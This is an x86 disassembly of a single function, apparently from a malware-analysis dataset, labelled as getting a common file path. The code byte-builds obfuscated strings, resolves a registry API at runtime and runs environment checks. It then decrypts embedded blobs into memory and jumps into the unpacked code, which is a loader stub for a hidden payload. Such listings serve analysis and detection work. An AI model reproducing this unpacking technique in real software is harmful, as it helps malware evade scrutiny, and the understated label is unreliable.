Function at 0x401090
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x16c
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x134], 0x64
mov dword [ebp - 0x118], 9
mov dword [ebp - 8], 0
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x130], 1
pushal
mov dword [0x4490f4], ebp
push 0x104
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [str.NxXDA0hfBMK9Dzp2]
mov byte [ecx], 0x5c
mov edx, dword [str.NxXDA0hfBMK9Dzp2]
mov byte [edx + 1], 0x73
mov eax, dword [str.NxXDA0hfBMK9Dzp2]
mov byte [eax + 2], 0x79
mov ecx, dword [str.NxXDA0hfBMK9Dzp2]
mov byte [ecx + 3], 0x73
mov edx, dword [str.NxXDA0hfBMK9Dzp2]
mov byte [edx + 4], 0x74
mov eax, dword [str.NxXDA0hfBMK9Dzp2]
mov byte [eax + 5], 0x65
mov ecx, dword [str.NxXDA0hfBMK9Dzp2]
mov byte [ecx + 6], 0x6d
mov edx, dword [str.NxXDA0hfBMK9Dzp2]
mov byte [edx + 7], 0x33
mov eax, dword [str.NxXDA0hfBMK9Dzp2]
mov byte [eax + 8], 0x32
mov ecx, dword [str.NxXDA0hfBMK9Dzp2]
mov byte [ecx + 9], 0x5c
mov edx, dword [str.NxXDA0hfBMK9Dzp2]
mov byte [edx + 0xa], 0x61
mov eax, dword [str.NxXDA0hfBMK9Dzp2]
mov byte [eax + 0xb], 0x74
mov ecx, dword [str.NxXDA0hfBMK9Dzp2]
mov byte [ecx + 0xc], 0x2e
mov edx, dword [str.NxXDA0hfBMK9Dzp2]
mov byte [edx + 0xd], 0x65
mov eax, dword [str.NxXDA0hfBMK9Dzp2]
mov byte [eax + 0xe], 0x78
mov ecx, dword [str.NxXDA0hfBMK9Dzp2]
mov byte [ecx + 0xf], 0x65
mov edx, 0x53
mov eax, dword [0x448044]
mov word [eax], dx
mov ecx, 0x4f
mov edx, dword [0x448044]
mov word [edx + 2], cx
mov eax, 0x46
mov ecx, dword [0x448044]
mov word [ecx + 4], ax
mov edx, 0x54
mov eax, dword [0x448044]
mov word [eax + 6], dx
mov ecx, 0x57
mov edx, dword [0x448044]
mov word [edx + 8], cx
mov eax, 0x41
mov ecx, dword [0x448044]
mov word [ecx + 0xa], ax
mov edx, 0x52
mov eax, dword [0x448044]
mov word [eax + 0xc], dx
mov ecx, 0x45
mov edx, dword [0x448044]
mov word [edx + 0xe], cx
mov eax, 0x5c
mov ecx, dword [0x448044]
mov word [ecx + 0x10], ax
mov edx, 0x43
mov eax, dword [0x448044]
mov word [eax + 0x12], dx
mov ecx, 0x6c
mov edx, dword [0x448044]
mov word [edx + 0x14], cx
mov eax, 0x61
mov ecx, dword [0x448044]
mov word [ecx + 0x16], ax
mov edx, 0x73
mov eax, dword [0x448044]
mov word [eax + 0x18], dx
mov ecx, 0x73
mov edx, dword [0x448044]
mov word [edx + 0x1a], cx
mov eax, 0x65
mov ecx, dword [0x448044]
mov word [ecx + 0x1c], ax
mov edx, 0x73
mov eax, dword [0x448044]
mov word [eax + 0x1e], dx
mov ecx, 0x5c
mov edx, dword [0x448044]
mov word [edx + 0x20], cx
mov eax, 0x2e
mov ecx, dword [0x448044]
mov word [ecx + 0x22], ax
mov edx, 0x64
mov eax, dword [0x448044]
mov word [eax + 0x24], dx
mov ecx, 0x69
mov edx, dword [0x448044]
mov word [edx + 0x26], cx
mov eax, 0x62
mov ecx, dword [0x448044]
mov word [ecx + 0x28], ax
push str.RegOpenKeyExW
push str.advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x12c], eax
lea edx, [ebp - 0x124]
push edx
push 0x20019
push 0
mov eax, dword [0x448044]
push eax
push reloc.COMCTL32.dll_MenuHelp
call dword [ebp - 0x12c]
test eax, eax
je 0x40130e
mov eax, 0x16
xor eax, eax
jmp 0x40161b
mov ecx, dword [str.NxXDA0hfBMK9Dzp2]
push ecx
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp + eax - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push pe_nt_image_headers32
push 3
push 0
push 3
mov ecx, dword [ebp - 0x130]
push ecx
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0xffffffff
je 0x401369
cmp dword [ebp - 0x128], 0
jne 0x401372
int 0xe
xor eax, eax
jmp 0x40161b
movzx eax, byte [ebp - 0x10f]
cmp eax, 0x3a
je 0x401387
int 0xe
xor eax, eax
jmp 0x40161b
mov dword [ebp - 0x13c], 0
mov dword [ebp - 0x150], 0x402004
mov ecx, dword [ebp - 0x150]
push ecx
call fcn.00401660
add esp, 4
mov dword [ebp - 0x144], eax
mov edx, dword [ebp - 0x144]
push edx
call fcn.00401070
add esp, 4
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x144]
push eax
push 0
mov ecx, dword [ebp - 0x138]
push ecx
call fcn.00401620
add esp, 0xc
mov edx, dword [ebp - 0x144]
mov dword [ebp - 0x14c], edx
mov eax, dword [ebp - 0x13c]
cmp eax, dword [ebp - 0x144]
jae 0x401481
mov ecx, dword [ebp - 0x14c]
push ecx
mov edx, dword [ebp - 0x134]
push edx
call fcn.00401780
add esp, 8
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x154]
push eax
mov ecx, dword [ebp - 0x150]
add ecx, dword [ebp - 0x120]
push ecx
mov edx, dword [ebp - 0x138]
add edx, dword [ebp - 0x13c]
push edx
call fcn.00401720
add esp, 0xc
mov eax, dword [ebp - 0x118]
add eax, dword [ebp - 0x134]
add eax, dword [ebp - 0x120]
mov dword [ebp - 0x120], eax
mov ecx, dword [ebp - 0x13c]
add ecx, dword [ebp - 0x134]
mov dword [ebp - 0x13c], ecx
mov edx, dword [ebp - 0x14c]
sub edx, dword [ebp - 0x154]
mov dword [ebp - 0x14c], edx
jmp 0x4013e9
mov eax, dword [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x138]
push ecx
call fcn.004017b0
add esp, 8
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x158], 0
mov dword [ebp - 0x168], 0x445fd2
mov edx, dword [ebp - 0x168]
push edx
call fcn.00401660
add esp, 4
mov dword [ebp - 0x15c], eax
mov eax, dword [ebp - 0x15c]
push eax
call fcn.00401070
add esp, 4
mov dword [ebp - 0x11c], eax
mov ecx, dword [ebp - 0x15c]
push ecx
push 0
mov edx, dword [ebp - 0x11c]
push edx
call fcn.00401620
add esp, 0xc
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x164], eax
mov ecx, dword [ebp - 0x158]
cmp ecx, dword [ebp - 0x15c]
jae 0x40159b
mov edx, dword [ebp - 0x164]
push edx
mov eax, dword [ebp - 0x134]
push eax
call fcn.00401780
add esp, 8
mov dword [ebp - 0x16c], eax
mov ecx, dword [ebp - 0x16c]
push ecx
mov edx, dword [ebp - 0x168]
add edx, dword [ebp - 0x120]
push edx
mov eax, dword [ebp - 0x11c]
add eax, dword [ebp - 0x158]
push eax
call fcn.00401720
add esp, 0xc
mov ecx, dword [ebp - 0x118]
add ecx, dword [ebp - 0x134]
add ecx, dword [ebp - 0x120]
mov dword [ebp - 0x120], ecx
mov edx, dword [ebp - 0x158]
add edx, dword [ebp - 0x134]
mov dword [ebp - 0x158], edx
mov eax, dword [ebp - 0x164]
sub eax, dword [ebp - 0x16c]
mov dword [ebp - 0x164], eax
jmp 0x401503
mov ecx, dword [ebp - 0x15c]
push ecx
mov edx, dword [ebp - 0x11c]
push edx
call fcn.004017b0
add esp, 8
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x11c]
mov dword [eax], ecx
push 0x41000
call fcn.00401070
add esp, 4
mov dword [ebp - 4], eax
push 0x3e600
mov edx, dword [ebp - 0x138]
push edx
mov eax, dword [ebp - 4]
add eax, 0x300
push eax
call fcn.00401720
add esp, 0xc
mov ecx, dword [ebp - 4]
sub ecx, 0x400000
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 0x11c]
push eax
call fcn.00401670
add esp, 0xc
mov esp, dword [0x4490f4]
pop eax
mov ecx, dword [ebp - 4]
add ecx, 0x3e5c0
push ecx
ret
mov esp, ebp
pop ebp
ret